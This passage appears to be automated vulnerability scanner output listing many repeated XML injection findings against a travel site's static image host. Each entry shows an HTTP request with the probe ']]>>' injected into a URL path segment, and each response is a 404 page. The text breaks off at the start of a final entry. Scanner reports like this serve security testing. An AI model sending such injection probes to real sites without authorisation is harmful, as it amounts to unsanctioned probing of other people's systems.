The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/img-top-curved-corners.png]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:15 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:15 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/imgReviewsBox_Bkgd.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:22 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/imgReviewsBox_Bkgd.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:26 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/imgReviewsBox_Bkgd.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:30 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/imgReviewsBox_Bkgd.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:33 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/imgReviewsBox_Bkgd.gif]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:36 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:36 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/imgReviewsBox_Bottom.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:23 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/imgReviewsBox_Bottom.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535976 Date: Mon, 03 Oct 2011 01:02:25 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/imgReviewsBox_Bottom.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535964 Date: Mon, 03 Oct 2011 01:02:30 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/imgReviewsBox_Bottom.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535949 Date: Mon, 03 Oct 2011 01:02:33 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/imgReviewsBox_Bottom.gif]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:36 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:36 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/imgReviewsBox_Top.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535963 Date: Mon, 03 Oct 2011 01:02:21 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/imgReviewsBox_Top.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535984 Date: Mon, 03 Oct 2011 01:02:24 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/imgReviewsBox_Top.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:28 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/imgReviewsBox_Top.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535980 Date: Mon, 03 Oct 2011 01:02:32 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/imgReviewsBox_Top.gif]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:34 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:34 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/tripAdvisorLogo.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:23 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/tripAdvisorLogo.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535993 Date: Mon, 03 Oct 2011 01:02:25 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/tripAdvisorLogo.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:30 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/tripAdvisorLogo.gif?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:32 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
